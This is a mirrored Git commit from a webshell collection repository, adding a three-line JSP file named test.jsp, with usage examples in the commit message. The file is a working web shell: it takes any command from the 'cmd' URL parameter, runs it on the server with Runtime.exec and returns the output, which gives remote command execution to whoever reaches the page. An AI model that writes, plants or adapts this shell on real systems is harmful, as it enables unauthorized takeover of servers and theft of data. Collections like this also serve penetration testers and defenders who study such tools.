mirror of
https://github.com/tennc/webshell
synced 2024-11-21 18:53:03 +00:00
Create test.jsp
usage: http://www.xxx.xxx/test.jsp?cmd=command http://www.xxx.xxx/test.jsp?cmd=whoami
This commit is contained in:
parent
072e033e32
commit
ea7284f287
1 changed files with 3 additions and 0 deletions
3
jsp/test.jsp
Normal file
3
jsp/test.jsp
Normal file
|
@ -0,0 +1,3 @@
|
|||
1234<%@ page contentType="text/html; charset=GBK" %>
|
||||
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } }
|
||||
out.println(output);%>
|
Loading…
Reference in a new issue